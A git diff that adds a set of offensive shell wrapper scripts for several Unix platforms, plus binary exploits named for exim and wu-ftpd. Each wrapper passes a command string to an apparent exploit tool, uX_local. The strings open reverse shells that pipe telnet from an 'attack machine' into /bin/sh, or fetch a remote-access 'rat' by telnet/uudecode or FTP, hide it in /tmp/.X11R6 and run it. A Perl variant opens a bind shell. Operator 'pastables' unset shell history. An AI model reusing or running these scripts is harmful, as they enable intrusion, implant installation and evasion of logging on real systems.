+packrat -n /current/bin/nc.YS + + +" + +sleep 4 + +usage () +{ +echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -s [ call back port DEFAULT = 32178 ] + -x [ port to start mini X server on DEFAULT = 12121 ]" + +echo "example: ${0} -l 192.168.1.1 -p 22222 -s 22223 -x 9999" +} + +XPORT=0 +CALLBACK_PORT=0 +SPORT=0 + +if [ $# -lt 4 ] +then + usage + exit 1 +fi + +while getopts hl:p:s:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + s) SPORT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +if [ ${SPORT} = 0 ] +then + SPORT=32178 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Call back port2 = ${SPORT}" +echo "Starting mini X server on port ${XPORT}" +echo "########################################" +echo + + +VENDOR_STR="\`TERM=vt100;export TERM;telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 < /dev/console | /bin/sh | telnet ${LOCAL_IP} ${SPORT} 2>&1\`" +VENDOR_STR="\`TERM=vt100;export TERM;sleep 1200 | telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 | /bin/sh | telnet ${LOCAL_IP} ${SPORT} 2>&1\`" + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wrap-aix.ftp.sh b/Linux/bin/wrap-aix.ftp.sh new file mode 100755 index 0000000..0b5f91b --- /dev/null +++ b/Linux/bin/wrap-aix.ftp.sh @@ -0,0 +1,116 @@ +#!/bin/bash +echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit + + + +BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc. + + +Packrat now has an option to do just that: + +packrat -n /current/bin/nc.YS + + +" + +sleep 4 + +usage () +{ +echo "Usage: ${0} + -U [ userid for FTP back to local IP ] + -P [ password for FTP back to local IP ] + -l [ IP of attack machine (NO DEFAULT) ] + -r [ name of rat on target (NO DEFAULT) ] + -x [ port to start mini X server on DEFAULT = 12121 ] + -d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]" + +echo "example: ${0} -U user1 -P pass1 -l 192.168.1.1 -r nscd -x 9999 -d /tmp/.strange" +} + +DIR=0 +FTP_PASS=0 +FTP_USER=0 +XPORT=0 + +if [ $# -lt 4 ] +then + usage + exit 1 +fi + +while getopts hU:P:l:r:d:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + P) FTP_PASS=${OPTARG} + ;; + U) FTP_USER=${OPTARG} + ;; + l) LOCAL_IP=${OPTARG} + ;; + r) RAT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + d) DIR=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${FTP_PASS} = 0 ] +then + usage + exit 2 +fi + +if [ ${FTP_USER} = 0 ] +then + usage + exit 3 +fi + +if [ ${DIR} = 0 ] +then + DIR="/tmp/.X11R6" +fi + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "FTP userid = ${FTP_USER}" +echo "FTP password = ${FTP_PASS}" +echo "Name of Rat = ${RAT}" +echo "Starting mini X server on port ${XPORT}" +echo "Directory to create/use = ${DIR}" +echo "########################################" +echo + + +SCRIPT=/tmp/.af1324 +VENDOR_STR="\`echo ' +PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin +export PATH +mkdir ${DIR} 2>&1 +cd ${DIR} 2>&1 +/bin/ftp -in<N 2>&1\012open $LOCAL_IP\012user ${FTP_USER} ${FTP_PASS}\012bi\012get sendmail.Z\012bye +EOF 2>&1 +uncompress -f ${RAT}.Z 2>&1 +chmod 0700 ${DIR}/${RAT} 2>&1 +PATH=${DIR} ${RAT} 2>&1 +rm ${SCRIPT}' > ${SCRIPT}; /bin/sh ${SCRIPT} 2>&1\`" + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wrap-aix.sh b/Linux/bin/wrap-aix.sh new file mode 100755 index 0000000..19a3838 --- /dev/null +++ b/Linux/bin/wrap-aix.sh @@ -0,0 +1,96 @@ +#!/bin/bash +echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit + + + +BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc. + + +Packrat now has an option to do just that: + +packrat -n /current/bin/nc.YS + + +" + +sleep 4 + +usage () +{ +echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -r [ name of rat on target (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -x [ port to start mini X server on DEFAULT = 12121 ] + -d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]" + +echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange" +} + +DIR=0 +XPORT=0 +CALLBACK_PORT=0 + +if [ $# -lt 4 ] +then + usage + exit 1 +fi + +while getopts hl:p:r:d:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + r) RAT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + d) DIR=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${DIR} = 0 ] +then + DIR="/tmp/.X11R6" +fi + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Name of Rat = ${RAT}" +echo "Starting mini X server on port ${XPORT}" +echo "Directory to create/use = ${DIR}" +echo "########################################" +echo + + +#VENDOR_STR="\`TERM=vt100;export TERM;mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 &1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z && chmod 0700 ${RAT} && PATH=${DIR} ${RAT}\`" + +VENDOR_STR="\`TERM=vt100;export TERM;cd /tmp;mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 ;sleep 1200|telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>/dev/null |uudecode> /dev/null 2>&1 && uncompress -f ${RAT}.Z 2>/dev/null && chmod 0700 ${RAT} 2>/dev/null && PATH=${DIR} ${RAT}\`" + + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wrap-aix.sh.old b/Linux/bin/wrap-aix.sh.old new file mode 100755 index 0000000..abaa062 --- /dev/null +++ b/Linux/bin/wrap-aix.sh.old @@ -0,0 +1,93 @@ +#!/bin/bash +echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit + + + +BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc. + + +Packrat now has an option to do just that: + +packrat -n /current/bin/nc.YS + + +" + +sleep 4 + +usage () +{ +echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -r [ name of rat on target (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -x [ port to start mini X server on DEFAULT = 12121 ] + -d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]" + +echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange" +} + +DIR=0 +XPORT=0 +CALLBACK_PORT=0 + +if [ $# -lt 4 ] +then + usage + exit 1 +fi + +while getopts hl:p:r:d:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + r) RAT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + d) DIR=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${DIR} = 0 ] +then + DIR="/tmp/.X11R6" +fi + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Name of Rat = ${RAT}" +echo "Starting mini X server on port ${XPORT}" +echo "Directory to create/use = ${DIR}" +echo "########################################" +echo + + +VENDOR_STR="\`TERM=vt100;export TERM;mkdir ${DIR} 2>&1;cd ${DIR} 2>&1; sleep 120 | telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 |uudecode 2>&1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z && chmod 0700 ${RAT} && PATH=${DIR} ${RAT}\`" + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wrap-alpha.sh b/Linux/bin/wrap-alpha.sh new file mode 100755 index 0000000..d2cba76 --- /dev/null +++ b/Linux/bin/wrap-alpha.sh @@ -0,0 +1,92 @@ +#!/bin/bash +echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit + + + +BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc. + + +Packrat now has an option to do just that: + +packrat -n /current/bin/nc.YS + + +" + +sleep 4 + +usage () +{ +echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -r [ name of rat on target (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -x [ port to start mini X server on DEFAULT = 12121 ] + -d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]" + +echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange" +} + +DIR=0 +XPORT=0 +CALLBACK_PORT=0 + +if [ $# -lt 4 ] +then + usage + exit 1 +fi + +while getopts hl:p:r:d:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + r) RAT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + d) DIR=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${DIR} = 0 ] +then + DIR="/tmp/.X11R6" +fi + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Name of Rat = ${RAT}" +echo "Starting mini X server on port ${XPORT}" +echo "Directory to create/use = ${DIR}" +echo "########################################" +echo + +VENDOR_STR="\`mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && /usr/bin/telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 &1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z;chmod 0700 ${RAT} && ./${RAT} \`" + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wrap-hpux.sh b/Linux/bin/wrap-hpux.sh new file mode 100755 index 0000000..ea470ff --- /dev/null +++ b/Linux/bin/wrap-hpux.sh @@ -0,0 +1,92 @@ +#!/bin/bash +echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit + + + +BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc. + + +Packrat now has an option to do just that: + +packrat -n /current/bin/nc.YS + + +" + +sleep 4 + +usage () +{ +echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -r [ name of rat on target (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -x [ port to start mini X server on DEFAULT = 12121 ] + -d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]" + +echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange" +} + +DIR=0 +XPORT=0 +CALLBACK_PORT=0 + +if [ $# -lt 4 ] +then + usage + exit 1 +fi + +while getopts hl:p:r:d:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + r) RAT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + d) DIR=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${DIR} = 0 ] +then + DIR="/tmp/.X11R6" +fi + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Name of Rat = ${RAT}" +echo "Starting mini X server on port ${XPORT}" +echo "Directory to create/use = ${DIR}" +echo "########################################" +echo + +VENDOR_STR="\`mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && /usr/bin/telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 ${RAT}.uu; uudecode ${RAT}.uu 2>&1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z;chmod 0700 ${RAT} && export PATH=.; ${RAT} \`" + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wrap-irix.sh b/Linux/bin/wrap-irix.sh new file mode 100755 index 0000000..ef86016 --- /dev/null +++ b/Linux/bin/wrap-irix.sh @@ -0,0 +1,97 @@ +#!/bin/bash + +echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit + + + +BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc. + + +Packrat now has an option to do just that: + +packrat -n /current/bin/nc.YS + + +" + +sleep 4 + +usage () +{ +echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -r [ name of rat on target (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -x [ port to start mini X server on DEFAULT = 12121 ] + -d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]" + +echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange" +} + +DIR=0 +XPORT=0 +CALLBACK_PORT=0 + +if [ $# -lt 4 ] +then + usage + exit 1 +fi + +while getopts hl:p:r:d:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + r) RAT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + d) DIR=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${DIR} = 0 ] +then + DIR="/tmp/.X11R6" +fi + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Name of Rat = ${RAT}" +echo "Starting mini X server on port ${XPORT}" +echo "Directory to create/use = ${DIR}" +echo "########################################" +echo + + +VENDOR_STR="\`mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 &1 |uudecode 2>&1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z 2>&1 && chmod 0700 ${RAT} && PATH=${DIR} ${RAT}\`" + +echo RUNNING THIS: +echo ./uX_local -e \"${VENDOR_STR}\" -v -p ${XPORT} -c xxx + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wrap-perl.sh b/Linux/bin/wrap-perl.sh new file mode 100755 index 0000000..72e8a09 --- /dev/null +++ b/Linux/bin/wrap-perl.sh @@ -0,0 +1,104 @@ +#!/bin/bash +VERSION=1.0.0.3 + + +LISTEN_PORT=LISTEN_PORT +VENDOR_STR="\`perl -MIO -e 'if (\$k=fork){\$i=${BURN_TIME};while(\$i--){sleep 1;}kill(9,\$k);exit;}chdir(\"/tmp\");while(\$c=new IO::Socket::INET(LocalPort,${LISTEN_PORT},Reuse,1,Listen)->accept){$~->fdopen(\$c,w);STDIN->fdopen(\$c,r);STDERR->fdopen(\$c,w);system \"/bin/sh\";}'&\`" + +usage () +{ +echo "Usage: ${0} + +Uses YS to start remote perl process with a shell listening on a port using: + + +VENDOR_STR=\"$VENDOR_STR\" + + -b [ length of time to listen DEFAULT = 6000] + -t [ target IP - for forward tunnel pastable ] + -p [ remote listen port DEFAULT = 32177 ] + -x [ port to start mini X server on DEFAULT = 12121 ] + +example: ${0} -b 5000 -p 22222 -x 9999 + +$0 v. $VERSION +" +} + + +XPORT=0 +LISTEN_PORT=0 +BURN_TIME=0 + + +while getopts hvb:p:x:t: optvar + do + case "$optvar" + in + t) TARGET_IP=${OPTARG} + ;; + b) BURN_TIME=${OPTARG} + ;; + h|v) + usage + exit 1 + ;; + p) LISTEN_PORT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +[ "$TARGET_IP" ] || TARGET_IP=USE_-t_OPTION_FOR_TARGET_IP + +if [ ${BURN_TIME} = 0 ] +then + BURN_TIME=6000 +fi + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${LISTEN_PORT} = 0 ] +then + LISTEN_PORT=32177 +fi + + +echo +echo "########################################" +echo "Listen port = ${LISTEN_PORT}" +echo "Burn time= ${BURN_TIME}" +echo "Starting mini X server on port ${XPORT}" +echo "########################################" +echo "# TUNNEL PASTABLES:" +echo " -tunnel" +echo " r ${XPORT}" +echo " l ${LISTEN_PORT} $TARGET_IP" +echo +echo -e "# NETCAT PASTABLES ONCE/ASSUMING THIS WORKS" +echo -e "# (do not forget scripted window)\n\n" +TEST=`scriptcheck` +[ "$TEST" ] || ( echo -e "CANNOT PROCEED WITHOUT SCRIPTED WINDOW\a" ; beeps 1 ) +[ "$TEST" ] || exit 1 +echo -e "nc -vv 127.0.0.1 ${LISTEN_PORT}\n\n" +echo "# TARGET SHELL PASTABLES" +echo "unset HISTFILE" +echo "unset HISTFILESIZE" +echo "unset HISTSIZE" +echo "w" +echo "uname -a" + + + +VENDOR_STR="\`perl -MIO -e 'use IO::Socket::INET;if (\$k=fork){\$i=${BURN_TIME};while(\$i--){sleep 1;}kill(9,\$k);exit;}chdir(\"/tmp\");while(\$c=new IO::Socket::INET(LocalPort,${LISTEN_PORT},Reuse,1,Listen)->accept){$~->fdopen(\$c,w);STDIN->fdopen(\$c,r);STDERR->fdopen(\$c,w);system \"/bin/sh\";}'&\`" + + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wrap-ratload.sh b/Linux/bin/wrap-ratload.sh new file mode 100755 index 0000000..75b8128 --- /dev/null +++ b/Linux/bin/wrap-ratload.sh @@ -0,0 +1,80 @@ +#!/bin/bash +echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit + + + +BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc. + + +Packrat now has an option to do just that: + +packrat -n /current/bin/nc.YS + + +" + +sleep 4 + +usage () +{ +echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -x [ port to start mini X server on DEFAULT = 12121 ]" + +echo "example: ${0} -l 192.168.1.1 -p 22222 -x 9999" +} + +DIR=0 +XPORT=0 +CALLBACK_PORT=0 + +if [ $# -lt 2 ] +then + usage + exit 1 +fi + +while getopts hl:p:r:d:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Starting mini X server on port ${XPORT}" +echo "########################################" +echo + +VENDOR_STR="\`/bin/telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 < /dev/console | /bin/sh\`" + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx + diff --git a/Linux/bin/wrap-sco.sh b/Linux/bin/wrap-sco.sh new file mode 100755 index 0000000..ef86016 --- /dev/null +++ b/Linux/bin/wrap-sco.sh @@ -0,0 +1,97 @@ +#!/bin/bash + +echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit + + + +BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc. + + +Packrat now has an option to do just that: + +packrat -n /current/bin/nc.YS + + +" + +sleep 4 + +usage () +{ +echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -r [ name of rat on target (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -x [ port to start mini X server on DEFAULT = 12121 ] + -d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]" + +echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange" +} + +DIR=0 +XPORT=0 +CALLBACK_PORT=0 + +if [ $# -lt 4 ] +then + usage + exit 1 +fi + +while getopts hl:p:r:d:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + r) RAT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + d) DIR=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${DIR} = 0 ] +then + DIR="/tmp/.X11R6" +fi + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Name of Rat = ${RAT}" +echo "Starting mini X server on port ${XPORT}" +echo "Directory to create/use = ${DIR}" +echo "########################################" +echo + + +VENDOR_STR="\`mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 &1 |uudecode 2>&1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z 2>&1 && chmod 0700 ${RAT} && PATH=${DIR} ${RAT}\`" + +echo RUNNING THIS: +echo ./uX_local -e \"${VENDOR_STR}\" -v -p ${XPORT} -c xxx + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wrap-sun.sh b/Linux/bin/wrap-sun.sh new file mode 100755 index 0000000..ef86016 --- /dev/null +++ b/Linux/bin/wrap-sun.sh @@ -0,0 +1,97 @@ +#!/bin/bash + +echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit + + + +BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc. + + +Packrat now has an option to do just that: + +packrat -n /current/bin/nc.YS + + +" + +sleep 4 + +usage () +{ +echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -r [ name of rat on target (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -x [ port to start mini X server on DEFAULT = 12121 ] + -d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]" + +echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange" +} + +DIR=0 +XPORT=0 +CALLBACK_PORT=0 + +if [ $# -lt 4 ] +then + usage + exit 1 +fi + +while getopts hl:p:r:d:x: optvar + do + case "$optvar" + in + h) + usage + exit 1 + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + r) RAT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + d) DIR=${OPTARG} + ;; + *) echo "invalid option" + usage + exit 1 + ;; + esac + done + +if [ ${DIR} = 0 ] +then + DIR="/tmp/.X11R6" +fi + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Name of Rat = ${RAT}" +echo "Starting mini X server on port ${XPORT}" +echo "Directory to create/use = ${DIR}" +echo "########################################" +echo + + +VENDOR_STR="\`mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 &1 |uudecode 2>&1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z 2>&1 && chmod 0700 ${RAT} && PATH=${DIR} ${RAT}\`" + +echo RUNNING THIS: +echo ./uX_local -e \"${VENDOR_STR}\" -v -p ${XPORT} -c xxx + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wrap-telnet.sh b/Linux/bin/wrap-telnet.sh new file mode 100755 index 0000000..0830a63 --- /dev/null +++ b/Linux/bin/wrap-telnet.sh @@ -0,0 +1,78 @@ +#!/bin/bash + +usage () { + echo "Usage: ${0} + -l [ IP of attack machine (NO DEFAULT) ] + -p [ call back port DEFAULT = 32177 ] + -s [ call back port DEFAULT = 32178 ] + -x [ port to start mini X server on DEFAULT = 12121 ]" + + echo "example: ${0} -l 192.168.1.1 -p 22222 -s 22223 -x 9999" + + die "$*" +} +die () { + [ "$*" ] && echo -e `date -u`: "\a$*" + exit 1 +} + + +XPORT=0 +CALLBACK_PORT=0 +SPORT=0 + +if [ $# -lt 4 ] +then + usage +fi + +while getopts hl:p:s:x: optvar + do + case "$optvar" + in + h) + usage + ;; + l) LOCAL_IP=${OPTARG} + ;; + p) CALLBACK_PORT=${OPTARG} + ;; + s) SPORT=${OPTARG} + ;; + x) XPORT=${OPTARG} + ;; + *) usage "invalid option" + ;; + esac + done + +if [ ${XPORT} = 0 ] +then + XPORT=12121 +fi + +if [ ${CALLBACK_PORT} = 0 ] +then + CALLBACK_PORT=32177 +fi + +if [ ${SPORT} = 0 ] +then + SPORT=32178 +fi + +echo +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Call back port = ${CALLBACK_PORT}" +echo "Call back port2 = ${SPORT}" +echo "Starting mini X server on port ${XPORT}" +echo "########################################" +echo + + +VENDOR_STR="\`TERM=vt100;export TERM;telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 < /dev/console | /bin/sh | telnet ${LOCAL_IP} ${SPORT} 2>&1\`" +VENDOR_STR="\`TERM=vt100;export TERM;telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 < /dev/console | /bin/sh 2>&1 | telnet ${LOCAL_IP} ${SPORT} 2>&1\`" + + +./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx diff --git a/Linux/bin/wu-261-linux b/Linux/bin/wu-261-linux new file mode 100755 index 0000000..d0bab77 Binary files /dev/null and b/Linux/bin/wu-261-linux differ diff --git a/Linux/bin/wu-261-linux.old b/Linux/bin/wu-261-linux.old new file mode 100755 index 0000000..78098c0 Binary files /dev/null and b/Linux/bin/wu-261-linux.old differ diff --git a/Linux/bin/xc b/Linux/bin/xc new file mode 100755 index 0000000..e707b00 Binary files /dev/null and b/Linux/bin/xc differ diff --git a/Linux/bin/xc.old b/Linux/bin/xc.old new file mode 100755 index 0000000..0dfb940 Binary files /dev/null and b/Linux/bin/xc.old differ diff --git a/Linux/bin/xc2 b/Linux/bin/xc2 new file mode 100755 index 0000000..1efa3ee Binary files /dev/null and b/Linux/bin/xc2 differ diff --git a/Linux/bin/xp-exim-3 b/Linux/bin/xp-exim-3 new file mode 100755 index 0000000..9acfaba Binary files /dev/null and b/Linux/bin/xp-exim-3 differ diff --git a/Linux/bin/xp-exim-3-remote-linux b/Linux/bin/xp-exim-3-remote-linux new file mode 100755 index 0000000..03b0b63 Binary files /dev/null and b/Linux/bin/xp-exim-3-remote-linux differ diff --git a/Linux/bin/xp-exim-3-remote-linux-v2 b/Linux/bin/xp-exim-3-remote-linux-v2 new file mode 100755 index 0000000..97eb822 Binary files /dev/null and b/Linux/bin/xp-exim-3-remote-linux-v2 differ diff --git a/Linux/bin/xp-exim-3-remote-linux-v3 b/Linux/bin/xp-exim-3-remote-linux-v3 new file mode 100755 index 0000000..2f9c0a8 Binary files /dev/null and b/Linux/bin/xp-exim-3-remote-linux-v3 differ diff --git a/Linux/bin/xp-exim-3-remote-solaris b/Linux/bin/xp-exim-3-remote-solaris new file mode 100755 index 0000000..f8d354e Binary files /dev/null and b/Linux/bin/xp-exim-3-remote-solaris differ diff --git a/Linux/bin/xp-exim-3-remote-solaris-v2 b/Linux/bin/xp-exim-3-remote-solaris-v2 new file mode 100755 index 0000000..5560a4b Binary files /dev/null and b/Linux/bin/xp-exim-3-remote-solaris-v2 differ diff --git a/Linux/bin/xp-exim-3-remote-solaris-v3 b/Linux/bin/xp-exim-3-remote-solaris-v3 new file mode 100755 index 0000000..3e5826b Binary files /dev/null and b/Linux/bin/xp-exim-3-remote-solaris-v3 